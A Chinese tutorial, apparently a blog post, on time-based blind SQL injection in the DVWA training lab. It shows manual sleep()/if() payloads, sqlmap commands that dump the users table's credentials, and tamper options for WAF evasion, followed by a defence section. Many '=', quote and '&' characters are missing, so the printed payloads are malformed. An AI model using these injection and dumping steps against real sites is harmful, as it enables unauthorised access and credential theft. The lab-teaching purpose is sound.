DVWA-LOW级-SQL手工注入漏洞测试(时间盲注)+sqlmap自动化注入-新手入门(图文详解)
1. 从“盲人摸象”到“听声辨位”理解时间盲注上次我们一起玩了DVWA靶场里的布尔盲注感觉就像在玩一个“是”或“否”的猜谜游戏。页面会明确告诉你“用户存在”或“用户不存在”我们根据这个反馈来一点点猜出数据库里的秘密。但现实世界的漏洞可没这么“贴心”。很多时候你提交一个请求页面看起来一切正常既没有报错也没有任何数据回显甚至连“对”和“错”的明确提示都没有。页面就像一个沉默的石头对你的所有试探都报以相同的、毫无波澜的回应。这时候该怎么办难道就束手无策了吗当然不是。这就引出了我们今天要攻克的另一种高级“盲法”——时间盲注。你可以把它想象成一种“听声辨位”的功夫。虽然对方不说话不回显数据也不做表情不返回布尔状态但我们可以通过制造一些“延迟”然后仔细聆听观察页面响应时间的变化来判断我们输入的指令是否被执行成功。举个生活中的例子你怀疑一扇门后面有个复杂的机关只有输入正确的密码机关才会启动并发出“咔哒”一声。但门很厚你听不见声音。于是你想了个办法输入密码后如果密码正确就让机关在启动前先等上5秒钟。这样你虽然听不到“咔哒”声但可以通过感知“门后是否沉默了5秒”来判断密码是否正确。时间盲注的核心思想与此类似我们通过构造特殊的SQL语句让数据库在查询条件为“真”时执行一个sleep()等待命令从而人为地延长页面的响应时间。如果页面响应明显变慢就说明我们的条件猜对了如果响应速度如常则说明猜错了。在DVWA的Low安全级别下为我们模拟了这样一个“沉默”但存在时间盲注漏洞的环境。它不会直接告诉我们任何查询结果但我们可以通过精心构造的Payload让它“用时间来说话”。接下来我们就手把手地带你从最基础的手工判断开始一步步揭开时间盲注的神秘面纱最后再用神器sqlmap实现自动化爆破。整个过程我会结合大量截图和详细的命令解释确保即使是第一次接触的朋友也能跟上节奏。2. 手工时间盲注实战像侦探一样逐位推理手工注入虽然效率比不上自动化工具但它是理解漏洞原理的基石。只有亲手“拧过螺丝”你才知道机器是怎么运转的。对于时间盲注手工测试能让你深刻体会到那种“通过细微差异寻找真相”的侦探感。2.1 第一步发现并确认时间注入点首先我们访问DVWA的SQL Injection页面安全级别调到Low。你会看到一个简单的用户ID查询框。和布尔盲注不同这次无论我们输入什么比如1、2、999甚至胡乱输入abc页面返回的内容看起来可能都差不多通常是一个固定的成功或失败页面没有动态数据。我们的目标是找到能让数据库“等待”的输入点。经典的测试方法是使用逻辑判断结合时间延迟函数。我们尝试输入1 and sleep(5) #这条指令的意思是查询ID为1的用户并且让数据库睡眠5秒钟。如果这个页面存在SQL注入漏洞并且后端数据库比如MySQL执行了我们的sleep(5)命令那么页面就会等待至少5秒后才返回。实际操作与观察输入上述Payload后点击Submit立刻开始心里默数或用手机秒表计时。你会发现页面真的“卡住”了大约5秒后才加载完成。这是一个非常强烈的信号为了进一步确认我们需要一个对照实验。输入1 and sleep(0) #或者1 and 12 and sleep(5) #第一条sleep(0)表示不延迟页面应该立刻返回。第二条12结果为假在and逻辑下整个条件为假数据库很可能不会执行后面的sleep(5)这取决于数据库优化但通常如此。如果第一个Payload导致明显延迟而后两个响应很快那就基本坐实了这里存在一个基于时间的盲注漏洞。数据库在执行我们输入的SQL语句并且我们可以通过sleep()函数来控制其响应时间。2.2 第二步利用if()与sleep()爆破数据库名长度确认漏洞存在后我们就要开始“猜”信息了。第一个目标通常是当前数据库的名字。但名字是字符串我们得先知道它有多长。这里就要用到MySQL的if()函数和sleep()函数的组合拳。if(condition, value_if_true, value_if_false)是SQL中的条件判断函数。我们可以构造这样的Payload1 and if(length(database())1, sleep(5), 1) #让我来拆解一下这个“组合技”length(database())计算当前数据库名的长度。length(database())1判断长度是否等于1。这是一个条件condition。if(条件, 真值, 假值)如果条件为真就返回sleep(5)并执行它导致延迟如果条件为假就返回1一个普通值无延迟。所以整个语句的意思是如果当前数据库名的长度等于1就让数据库睡5秒否则就不睡。我们通过观察页面是否延迟5秒就能反推出长度是否为1。手工爆破过程这个过程需要耐心。我们从1开始尝试。输入1 and if(length(database())1, sleep(5), 1) #提交。页面立刻返回说明长度不是1。输入1 and if(length(database())2, sleep(5), 1) #提交。页面立刻返回说明长度不是2。输入1 and if(length(database())3, sleep(5), 1) #提交。页面立刻返回说明长度不是3。输入1 and if(length(database())4, sleep(5), 1) #提交。页面明显等待了5秒才响应恭喜我们“猜”对了当前数据库名的长度是4。这个过程看似枯燥但却是所有后续攻击的基础。在实际更复杂的环境中你可能需要写个简单的Python脚本来自动化这个“猜长度”的过程但理解手动原理至关重要。2.3 第三步逐字爆破数据库名知道了长度是4接下来就要猜这4个字符具体是什么。我们用一个字符一个字符地“试”。这里要用到substr()函数在MySQL中substr()和substring()功能一样来截取字符串。Payload模板如下1 and if(substr(database(),1,1)a, sleep(5), 1) #substr(database(),1,1)从database()返回的字符串中从第1个位置开始截取1个字符。substr(...)a判断截取出来的这个字符是否等于小写字母a。同样套在if()函数里如果等于a就睡眠5秒。爆破第一位字符 我们按顺序尝试a,b,c... 直到z。如果试到d时发生了5秒延迟1 and if(substr(database(),1,1)d, sleep(5), 1) #那么数据库名的第一个字母就是d。爆破第二位字符 接着修改Payload猜第二个位置1 and if(substr(database(),2,1)a, sleep(5), 1) #继续从a到z尝试。假设在v时触发延迟则第二位是v。爆破第三、四位字符 依此类推1 and if(substr(database(),3,1)a, sleep(5), 1) # // 假设在w时延迟 1 and if(substr(database(),4,1)a, sleep(5), 1) # // 假设在a时延迟最终我们拼凑出数据库名dvwa。是的和布尔盲注时一样它就是DVWA靶场自带的数据库。关于大小写和字符集在实际攻击中你还需要考虑大小写尝试A到Z以及数字、下划线等。这是一个极其耗时的过程完全依赖手工几乎不现实。但这正是我们理解漏洞原理的必要练习。在实战中我们接下来就会请出自动化神器——sqlmap。3. 解放双手使用sqlmap进行自动化时间盲注手工注入让我们明白了原理但效率太低。接下来就该让专业的工具来大显身手了。sqlmap不仅支持布尔盲注对时间盲注的支持也非常强大。我们只需要告诉它“这里有个基于时间的盲注点你去帮我跑出来。”3.1 前期准备获取必要的请求信息和使用sqlmap进行其他注入一样我们首先需要准备好“敲门砖”。时间盲注因为依赖服务器响应时间对网络稳定性有一定要求建议在局域网或稳定的测试环境进行。拦截请求在浏览器中打开开发者工具F12切换到Network网络标签页。在DVWA的SQL注入页面输入一个简单的测试值如1点击Submit。找到请求在Network标签页中你会看到一个对vulnerabilities/sqli/的请求通常是GET方法。点击这个请求。复制关键信息URL完整地址例如http://your-dvwa-ip/vulnerabilities/sqli/?id1SubmitSubmitCookie这是最重要的因为DVWA需要登录态。在请求头中找到Cookie:那一行复制整个值例如PHPSESSID你的会话ID; securitylow有了这两样东西我们就可以指挥sqlmap了。3.2 关键参数--techniqueT 与 --time-sec进行时间盲注有两个参数是核心--techniqueT明确指定sqlmap使用基于时间的盲注技术进行测试和利用。这能避免sqlmap尝试其他不相关的技术提高效率也减少对目标的不必要请求。--time-sec设置延迟时间秒。默认是5秒。你可以根据网络情况调整。如果网络延迟较大可以设为8或10以确保能清晰区分正常响应和延迟响应。在我们的本地靶场5秒足够。3.3 实战命令详解与演示假设我们获取到的信息如下URL:http://192.168.1.100/dvwa/vulnerabilities/sqli/?id1SubmitSubmitCookie:PHPSESSIDabc123def456; securitylow第一步探测注入点并获取所有数据库名sqlmap -u http://192.168.1.100/dvwa/vulnerabilities/sqli/?id1SubmitSubmit \ --cookiePHPSESSIDabc123def456; securitylow \ --techniqueT \ --time-sec5 \ --dbs-u指定目标URL。--cookie提供登录凭证。--techniqueT使用时间盲注。--time-sec5设置检测延迟为5秒。--dbs枚举所有数据库。执行后sqlmap会先检测参数id是否真的存在时间盲注漏洞。检测通过后它就会开始利用sleep()和if()逻辑自动爆破出服务器上的数据库列表。你会看到它输出类似[*] information_schema,[*] dvwa,[*] mysql这样的结果。第二步获取指定数据库dvwa中的所有表名sqlmap -u http://192.168.1.100/dvwa/vulnerabilities/sqli/?id1SubmitSubmit \ --cookiePHPSESSIDabc123def456; securitylow \ --techniqueT \ -D dvwa \ --tables-D dvwa指定目标数据库为dvwa。--tables枚举该数据库下的所有表。运行后sqlmap会告诉我们dvwa数据库里存在哪些表例如users,guestbook。第三步获取指定表users中的所有列名sqlmap -u http://192.168.1.100/dvwa/vulnerabilities/sqli/?id1SubmitSubmit \ --cookiePHPSESSIDabc123def456; securitylow \ --techniqueT \ -D dvwa \ -T users \ --columns-T users指定目标表为users。--columns枚举该表的所有列。这个命令会爆出users表的结构比如user_id,first_name,last_name,user,password,avatar等列。第四步导出感兴趣的数据例如用户名和密码sqlmap -u http://192.168.1.100/dvwa/vulnerabilities/sqli/?id1SubmitSubmit \ --cookiePHPSESSIDabc123def456; securitylow \ --techniqueT \ -D dvwa \ -T users \ -C user,password \ --dump-C user,password指定要导出的列这里我们关心用户名和密码。--dump导出这些列的所有数据。这是最激动人心的时刻。sqlmap会利用时间盲注一位一位地将user和password字段的值从数据库中“拖”出来。由于DVWA的密码是MD5哈希值你最终会得到类似admin | 5f4dcc3b5aa765d61d8327deb882cf99这样的结果。你可以去MD5解密网站尝试破解或者直接用这个哈希值进行密码重放攻击如果目标系统验证的是哈希值而非明文。4. 深入原理、优化技巧与防御思考掌握了基本操作我们再来深入聊聊背后的原理和一些让测试更高效、更隐蔽的技巧最后也从防御角度看看如何避免这类漏洞。4.1 时间盲注的核心条件与延迟的绑定时间盲注之所以有效根本原因在于我们成功地将一个布尔条件真/假与一个可观测的副作用时间延迟绑定在了一起。在MySQL中if(condition, sleep(5), 1)这个结构是关键。数据库引擎会先计算condition的真假然后根据结果选择执行sleep(5)还是返回1。由于sleep()是确定性的函数它的执行会直接反映在SQL语句的执行总时间上进而被前端感知。不同的数据库有不同的延迟函数MySQL:SLEEP(N),BENCHMARK(COUNT, EXPR)通过大量计算制造延迟。PostgreSQL:PG_SLEEP(N),generate_series(1, 1000000)。Microsoft SQL Server:WAITFOR DELAY 0:0:5。 了解目标数据库类型后选择正确的延迟函数是成功的第一步。4.2 优化你的sqlmap时间盲注直接使用默认参数进行时间盲注可能会很慢因为每个字符的猜测都需要等待一个--time-sec默认5秒。以下是一些提速和增强隐蔽性的技巧降低延迟时间--time-sec在稳定的内网测试环境中可以将延迟时间调低比如--time-sec2。这能显著减少总耗时。但要注意网络抖动可能导致误判。使用更智能的线程和层级--threads10使用10个线程并发测试可以大幅提升枚举速度。但线程数过高可能被WAF识别或对目标造成压力。--level和--risk提高检测等级和风险等级如--level3 --risk2sqlmap会尝试更多种Payload和测试点在复杂过滤环境下可能更有效但也会产生更多请求。利用--second-order二阶注入有时注入点不在直接回显的页面而是将输入存入数据库在另一个页面触发。这就需要二阶注入技术sqlmap也支持。结合--tamper脚本绕过WAF如果目标有Web应用防火墙WAF简单的sleep()可能被拦截。可以使用--tamper参数加载混淆脚本如space2comment.py空格转注释、between.py用between替换和等对Payload进行变形绕过检测。一个优化后的命令示例可能如下sqlmap -u http://target.com/page?id1 \ --cookiesessionxxx \ --techniqueT \ --time-sec2 \ --threads5 \ --level3 \ --risk1 \ --tamperspace2comment \ -D target_db \ -T users \ --dump4.3 从防御者视角看时间盲注理解了攻击才能更好地防御。时间盲注的根源与所有SQL注入一样不可信的用户输入被直接拼接到了SQL查询语句中。根本的防御措施永远是参数化查询预编译语句。无论是使用PHP的PDO、Python的sqlite3或MySQLdb、Java的PreparedStatement其原理都是将SQL语句的结构模板与数据用户输入分开发送和编译。数据库先编译好一个带占位符的语句模板然后将用户输入的数据作为纯粹的参数传入。这样即使用户输入中包含 and sleep(5)#它也会被当作一个普通的字符串值去匹配id字段而不会被解释为SQL指令。其次严格的输入验证和过滤也必不可少。对于id这种预期是数字的参数在接收后强制转换为整数类型intval()等可以过滤掉所有非数字字符。最小权限原则同样重要给Web应用数据库账户只授予其必需的最小权限避免攻击者利用注入点执行高危操作。最后部署WAF和监控慢查询日志可以作为辅助手段。WAF可以识别典型的sleep、benchmark、waitfor等延迟函数特征并进行拦截。数据库的慢查询日志如果突然出现大量带有固定延迟模式的查询也是遭受时间盲注攻击的强烈信号。手工时间盲注的练习让我对Web请求的“时间感”有了新的认识。以前只看页面内容现在会不自觉地留意响应时间的变化。而sqlmap的自动化能力则展示了将这种细微感知放大为高效攻击的工具力量。在真实的渗透测试中时间盲注是面对“无回显”场景时的利器需要测试者具备足够的耐心和技巧。对于开发者而言这个实验再次敲响了警钟任何用户输入都是危险的必须在后端进行最严格的处理。安全就是一个攻防不断博弈的过程了解攻击手法是构建有效防御的第一步。

相关新闻

西门子S71200 PLC TCP/IP通讯FB功能块:字符串处理与状态机联动的智能通讯策略

西门子S71200 PLC TCP/IP通讯FB功能块:字符串处理与状态机联动的智能通讯策略

1. 从“收发数据”到“驱动控制”:为什么需要智能通讯策略? 大家好,我是老张,在工控圈子里摸爬滚打了十几年,和西门子PLC打交道是家常便饭。今天想和大家深入聊聊S7-1200 PLC做TCP/IP通讯时,一个能显著提升…

2026/5/17 11:23:39 阅读更多 →
BMS应用软件开发 — 7 从特斯拉与问界看BMS硬件架构演进

BMS应用软件开发 — 7 从特斯拉与问界看BMS硬件架构演进

1. 从“黑盒”到“白盒”:为什么我们要拆开特斯拉和问界的BMS? 如果你和我一样,是个对电动汽车技术着迷的“技术控”,或者是一位正在开发BMS(电池管理系统)软件的工程师,那你肯定不止一次好奇过…

2026/5/17 11:23:39 阅读更多 →
Qwen1.5-0.5B-Chat对话质量评估:人工评测部署案例

Qwen1.5-0.5B-Chat对话质量评估:人工评测部署案例

Qwen1.5-0.5B-Chat对话质量评估:人工评测部署案例 1. 引言:为什么我们需要一个轻量级对话模型? 想象一下,你正在开发一个智能客服机器人,或者想给个人项目添加一个聊天助手。你可能会立刻想到那些动辄几十GB、需要高…

2026/7/4 5:10:30 阅读更多 →

最新新闻

电商App签名逆向实战:从x-sign/x-miniwua看移动端安全防线

电商App签名逆向实战:从x-sign/x-miniwua看移动端安全防线

1. 项目概述:为什么我们要研究x-sign/x-miniwua? 如果你做过电商数据相关的爬虫或者自动化工具,那么“签名”这个词对你来说一定不陌生。它就像一道门禁,横亘在你和服务器数据之间。而某宝的 x-sign 和 x-miniwua &#xff0c…

2026/7/5 0:27:49 阅读更多 →
AI绘画提示词编写与优化全指南

AI绘画提示词编写与优化全指南

1. AI绘画提示词(Prompt)编写核心逻辑解析AI绘画的核心在于将自然语言描述转化为视觉元素,这个过程本质上是一种跨模态的信息转换。理解这个转换机制是编写优质Prompt的基础。现代AI绘画模型如Stable Diffusion、MidJourney都建立在扩散模型(Diffusion Model)架构上…

2026/7/5 0:25:48 阅读更多 →
如何在Windows家庭版上启用专业级远程桌面:RDP Wrapper Library终极指南(2024版)

如何在Windows家庭版上启用专业级远程桌面:RDP Wrapper Library终极指南(2024版)

如何在Windows家庭版上启用专业级远程桌面:RDP Wrapper Library终极指南(2024版) 【免费下载链接】rdpwrap RDP Wrapper Library 项目地址: https://gitcode.com/gh_mirrors/rd/rdpwrap 你是否曾经因为Windows家庭版无法使用远程桌面功…

2026/7/5 0:21:46 阅读更多 →
2025年Nmap渗透测试实战指南:从基础扫描到高级规避技术

2025年Nmap渗透测试实战指南:从基础扫描到高级规避技术

1. 项目概述:为什么Nmap依然是渗透测试的基石如果你在网络安全这个行当里待过一阵子,或者哪怕只是刚入门,大概率都听过Nmap这个名字。它就像木匠手里的锤子,厨师手里的刀,是那种你明知道它“古老”,但每次开…

2026/7/5 0:17:44 阅读更多 →
WPF可视化设计工具终极指南:如何用WpfDesigner让界面开发效率提升3倍?

WPF可视化设计工具终极指南:如何用WpfDesigner让界面开发效率提升3倍?

WPF可视化设计工具终极指南:如何用WpfDesigner让界面开发效率提升3倍? 【免费下载链接】WpfDesigner The WPF Designer from SharpDevelop 项目地址: https://gitcode.com/gh_mirrors/wp/WpfDesigner 还在为WPF界面开发中的繁琐XAML代码而烦恼吗&…

2026/7/5 0:15:43 阅读更多 →
基于YOLOv8的猫狗品种识别系统开发实战

基于YOLOv8的猫狗品种识别系统开发实战

1. 项目概述:基于YOLOv8的猫狗品种识别系统这个项目本质上是一个计算机视觉领域的典型应用——利用YOLOv8目标检测算法实现猫狗品种的自动识别。我在实际部署中发现,相比传统图像处理方法,深度学习方案在复杂场景下的识别准确率能提升40%以上…

2026/7/5 0:13:42 阅读更多 →

日新闻

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容 【免费下载链接】BiliTools A cross-platform bilibili toolbox. 跨平台哔哩哔哩工具箱,支持下载视频、番剧等等各类资源 项目地址: https://gitcode.com/GitHub_Trending/bilit/BiliTools …

2026/7/5 0:03:34 阅读更多 →
威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型的陌生现状在忙碌疲惫的一天里,参与了关于混合后量子密码学的讨论,应付端点攻击找茬的人,还参与留言板讨论后,发现“威胁模型”对多数人仍是陌生概念,且多被当作时髦用语。有趣的相关画作有一幅由 Embyr 创作的…

2026/7/5 0:03:34 阅读更多 →
渗透测试入门指南:从零基础到实战环境搭建

渗透测试入门指南:从零基础到实战环境搭建

1. 从“看热闹”到“入门”:我理解的渗透测试到底是什么?每次看到新闻里说某个大公司的数据被“黑”了,或者某个网站被攻击导致服务瘫痪,你是不是和我一样,心里会冒出两个念头:一是“这黑客真厉害”&#x…

2026/7/5 0:07:38 阅读更多 →

周新闻

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容

B站视频下载神器BiliTools:5分钟学会轻松保存任何B站内容 【免费下载链接】BiliTools A cross-platform bilibili toolbox. 跨平台哔哩哔哩工具箱,支持下载视频、番剧等等各类资源 项目地址: https://gitcode.com/GitHub_Trending/bilit/BiliTools …

2026/7/5 0:03:34 阅读更多 →
威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型全解析:从新手入门到实战应用,助你构建安全产品!

威胁模型的陌生现状在忙碌疲惫的一天里,参与了关于混合后量子密码学的讨论,应付端点攻击找茬的人,还参与留言板讨论后,发现“威胁模型”对多数人仍是陌生概念,且多被当作时髦用语。有趣的相关画作有一幅由 Embyr 创作的…

2026/7/5 0:03:34 阅读更多 →
渗透测试入门指南:从零基础到实战环境搭建

渗透测试入门指南:从零基础到实战环境搭建

1. 从“看热闹”到“入门”:我理解的渗透测试到底是什么?每次看到新闻里说某个大公司的数据被“黑”了,或者某个网站被攻击导致服务瘫痪,你是不是和我一样,心里会冒出两个念头:一是“这黑客真厉害”&#x…

2026/7/5 0:07:38 阅读更多 →

月新闻